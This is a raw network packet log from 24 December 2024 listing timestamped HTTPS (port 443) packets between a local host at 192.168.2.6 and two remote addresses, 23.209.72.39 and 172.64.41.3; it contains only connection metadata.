Dec 24, 2024 19:28:34.728456974 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.731554031 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.731890917 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.751651049 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.751674891 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.751692057 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.751861095 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.755367994 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.759155989 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.759345055 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.764458895 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.769891977 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.775357962 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.780919075 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.786360025 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.790554047 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.791646004 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.796066999 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.802284956 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.808412075 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.814165115 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.817055941 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.817361116 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.823437929 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.828331947 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.833354950 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.839116096 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.847363949 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.932976007 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.938834906 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:34.938997030 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:34.955900908 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.956463099 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.957129002 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.957537889 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:35.024605989 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:35.024718046 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:35.255757093 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:35.256397963 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:35.256556988 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:35.256844997 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:35.273713112 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.273778915 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.273843050 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.273855925 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.280721903 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.280822992 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.280911922 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.280945063 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.280961037 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.280968904 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:35.281095028 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.281110048 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.281155109 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.281168938 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.281183958 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.281200886 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.281217098 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.281366110 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:35.281430960 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.281445026 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.284787893 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.284885883 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.284936905 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.284961939 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.284976959 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.285047054 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:35.291831017 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.291891098 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.291975021 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.291990995 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.292006016 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.292745113 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:35.297663927 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.297775984 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.297858000 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.297885895 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.297938108 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.297960997 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.297976017 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.297990084 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.299067974 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:35.303850889 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:35.330302954 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:35.339488029 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:35.340369940 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:35.341691971 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:35.342416048 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:35.532016993 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:35.532160997 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:35.599039078 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.614291906 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.619096041 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.624634981 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:35.624821901 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:35.627089024 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.627227068 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.627487898 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.627510071 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.627535105 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:35.627545118 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.627562046 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.627650976 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.627666950 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.627682924 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.627708912 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.627724886 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.627737999 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.627861023 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:35.647908926 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.660341024 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:35.676767111 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:35.748090982 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.748114109 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.748150110 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.748159885 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.748163939 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.748439074 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:35.748675108 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:35.748797894 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:35.848345995 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:35.850725889 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:35.850883007 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:35.853724003 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:35.941550016 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:35.942537069 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:35.942750931 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:35.943604946 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:35.979036093 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:35.991010904 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:35.991245031 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:36.094253063 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:36.290174961 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:36.293345928 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:36.294684887 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:36.296377897 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:36.296848059 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:36.305870056 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:36.306368113 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:36.307651997 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:36.312781096 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:36.605142117 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:36.606328964 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:36.609576941 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:36.610444069 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:36.610637903 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:36.611182928 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:36.611196995 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:36.612665892 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:36.612845898 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:36.613090038 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:36.614516973 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:36.615129948 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:36.623327017 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:36.623462915 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:36.623477936 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:36.623492002 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:36.623714924 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:36.625529051 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:36.652720928 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:36.929965019 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:36.931476116 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:36.931529999 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:36.931778908 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:36.943849087 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:36.961769104 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:36.973846912 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:37.098781109 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.098803043 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.098900080 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.098911047 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.099623919 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:37.099770069 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:37.131258011 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:37.134617090 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:37.438498020 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.448812008 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.454152107 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.454895020 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:37.456211090 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.456876993 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.456888914 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.456898928 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.456974030 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.456984997 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.456995964 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.457096100 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.457158089 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.457169056 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.457180023 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.459007025 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:37.478018999 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:37.546276093 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:37.547506094 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:37.798216105 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.803061008 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.803116083 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.803173065 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.803262949 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.803297997 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.803373098 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.803406000 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.803442955 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.803478956 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.803515911 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.803567886 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.803625107 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.803658962 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.803694963 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.803728104 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.803762913 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.803798914 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.803836107 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.803873062 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.804889917 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:37.805378914 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:37.808671951 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:37.847796917 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.847920895 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.847955942 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.847990990 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.876482010 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:37.879858971 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:37.913851023 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.914052963 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.922189951 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.922710896 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.922791958 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.922805071 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.922868967 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.922879934 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.922893047 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.922985077 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.923052073 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.923094988 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.923105955 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.926708937 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:37.927495956 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:37.944749117 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.944824934 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.944838047 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.944969893 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.944982052 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.944994926 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.945008039 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.945099115 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.945116043 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.945132017 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.945348978 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:37.964314938 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.964381933 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.964392900 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.964471102 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.964534044 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.964545965 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.964556932 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.964651108 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.964675903 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.964689016 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.964929104 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:37.981472969 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.981659889 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.981676102 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.981688976 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.981703997 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.981739998 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.981751919 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.981843948 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.981857061 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.981872082 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:37.983644962 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.000888109 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.000901937 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.000972033 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.001039028 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.001050949 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.001178026 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.001188993 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.001200914 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.001214027 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.001292944 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.002865076 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.032274008 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.032300949 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.032330990 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.032397985 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.032413006 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.032461882 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.032493114 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.032505989 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.032603979 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.032624006 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.037280083 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.040234089 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.040313005 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.040326118 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.040358067 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.040369987 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.040469885 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.040481091 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.040493965 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.040607929 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.040618896 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.040627003 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.053750038 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.059658051 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.059736967 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.059750080 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.059765100 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.060129881 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.060168028 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.060182095 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.060287952 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.060364962 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.060376883 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.060610056 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.079144001 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.079195976 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.079210043 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.079267025 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.079281092 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.084578991 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.123667955 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.128884077 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.128998995 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.129055977 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.129067898 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.129081964 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.129173994 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.129273891 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.129287004 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.129296064 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.129300117 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.129313946 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.129327059 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.129633904 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.148333073 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.148446083 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.148509979 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.148520947 CET	443	54108	23.209.72.39	192.168.2.6
